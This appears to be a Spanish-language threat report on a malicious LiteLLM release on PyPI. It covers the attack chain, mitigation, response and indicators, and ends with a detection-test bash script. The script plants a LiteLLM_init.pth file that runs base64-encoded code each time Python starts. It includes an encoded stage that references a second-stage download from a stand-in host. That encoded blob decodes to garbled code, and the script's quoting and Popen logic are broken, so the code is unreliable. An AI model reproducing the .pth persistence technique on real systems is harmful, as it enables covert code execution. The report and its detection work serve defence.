Tu Pasarela de IA fue una Puerta Trasera: Dentro del Compromiso en la Cadena de Suministro de LiteLLM

Resumen

Un compromiso de la cadena de suministro afectó el paquete de Python ampliamente utilizado LiteLLM en PyPI. Las versiones maliciosas 1.82.7 y 1.82.8 entregaron una carga útil de tres etapas diseñada para robar credenciales de la nube, claves SSH, y secretos de Kubernetes, luego moverse dentro de los clústeres y establecer una puerta trasera persistente. La actividad se atribuye al grupo criminal TeamPCP y parece estar conectada a compromisos anteriores que involucraron herramientas de seguridad, incluidas Trivy y Checkmarx.

Investigación

Los investigadores vincularon la cadena de intrusión a una Acción de GitHub de Trivy comprometida que expuso un token de acceso personal, permitiendo un empujón forzado de versiones contaminadas de LiteLLM a PyPI. La revisión del código descubrió un cargador de Python con múltiples capas, con gran uso de Base64, que utilizó RSA-4096 y AES-256 para el despliegue y exfiltración protegidos hacia dominios controlados por el atacante. La carga útil también creó pods de Kubernetes para acceder al sistema de archivos del host y expandir la colección. La reutilización de infraestructura entre PyPI, npm, Docker Hub, GitHub Actions, y OpenVSX indicó una campaña coordinada, multi-ecosistema, en lugar de un secuestro de paquete aislado.

Mitigación

Bloquea los dominios maliciosos identificados, rota cualquier credencial potencialmente expuesta y elimina los artefactos LiteLLM_init.pth. Busca persistencia a través de la unidad de usuario systemd sysmon.service e investiga la creación inesperada de archivos .pth. Reduce la exposición de la cadena de suministro aplicando instalaciones verificadas por hash, limitando o prohibiendo comportamientos post-instalación no revisados y aplicando filtros de salida. Cuando sea posible, añade monitoreo de huellas dactilares JARM para marcar el tráfico asociado con ASN de alojamiento a prueba de balas conocidos.

Respuesta

Si se sospecha de un compromiso, aísla los sistemas afectados, termina los procesos maliciosos de Python y elimina los paquetes trojanizados de LiteLLM junto a cualquier archivo de persistencia. Rota inmediatamente todos los secretos colectados, priorizando credenciales de la nube y LLM claves API. Despliega detecciones para cadenas de ejecución de Python codificadas en Base64, caídas de archivos .pth, y actividad anómala de HTTPS POST a models.litellm.cloud o checkmarx.zone.

Palabras clave: LiteLLM, ataque de cadena de suministro, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, secretos de Kubernetes, persistencia .pth, robo de credenciales, RSA-4096, AES-256, filtrado de salida, huellas JARM.

Ejecución de Simulación

Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para disparar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

• Narrativa del Ataque y Comandos:
  Un atacante que ha comprometido el público LiteLLM El paquete PyPI inyecta un .pth archivo malicioso llamado LiteLLM_init.pth. El archivo se coloca en el directorio de paquetes completados globales, asegurando que se procese cada vez que any el intérprete de Python se inicia. El .pth contiene una sola línea que ejecuta una carga útil codificada en base64 a través de subprocess.Popen. La carga útil descarga una herramienta de segunda etapa de un servidor C2 sobre HTTPS (T1071.001) y escribe credenciales robadas en /tmp/creds.txt (T1552.*). Al usar el gancho de inicio del intérprete, el atacante logra persistencia sin modificar las unidades de systemd, evadiendo muchas bases de creación de procesos tradicionales.

  Los pasos simulados son:

  1. Crear el .pth archivo malicioso con código Python embebido.
  2. Desencadenar el inicio del intérprete de Python (por ejemplo, python3 -c "import sys"), causando que el .pth se ejecute.
  3. El código incrustado decodifica la carga útil base64 y la lanza con subprocess.Popen, generando un proceso cuya línea de comando contiene tanto LiteLLM_init.pth (desde la ruta de importación del intérprete) como subprocess.Popen.

• Script de Prueba de Regresión:
  El siguiente script automatiza toda la simulación de ataque en el host de prueba Ubuntu.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. Construir carga útil maliciosa .pth ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
  # Lo anterior decodifica a un pequeño script python que descargaría una carga útil de segunda etapa.
  # Para seguridad en un entorno de prueba lo reemplazamos con un comando de eco inofensivo.
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # Escribe el archivo .pth – la línea es ejecutada como código Python durante el inicio del intérprete
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] Archivo .pth malicioso creado en ${MALICIOUS_PTH_PATH}"
  
  # ---------- 2. Disparar el inicio del intérprete (genera telemetría) ----------
  echo "[+] Disparando el intérprete de Python para cargar .pth..."
  python3 -c "import sys; print('trigger')"
  
  # ---------- 3. Verificar que la carga útil se ejecutó correctamente ----------
  if grep -q "malicious executed" /tmp/malicious.log; then
    echo "[+] La carga útil se ejecutó con éxito – la detección debería activarse."
  else
    echo "[-] La carga útil NO se ejecutó – verifica la colocación y permisos del .pth."
  fi

• Comandos de Limpieza:

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Elimina el archivo .pth malicioso
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Archivo .pth malicioso eliminado."
  fi
  
  # Elimina el archivo de evidencia creado por la carga útil
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] Limpiado /tmp/malicious.log."
  fi
  
  # Opcionalmente elimina la regla de auditoría (si añadiste una regla de prueba dedicada)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation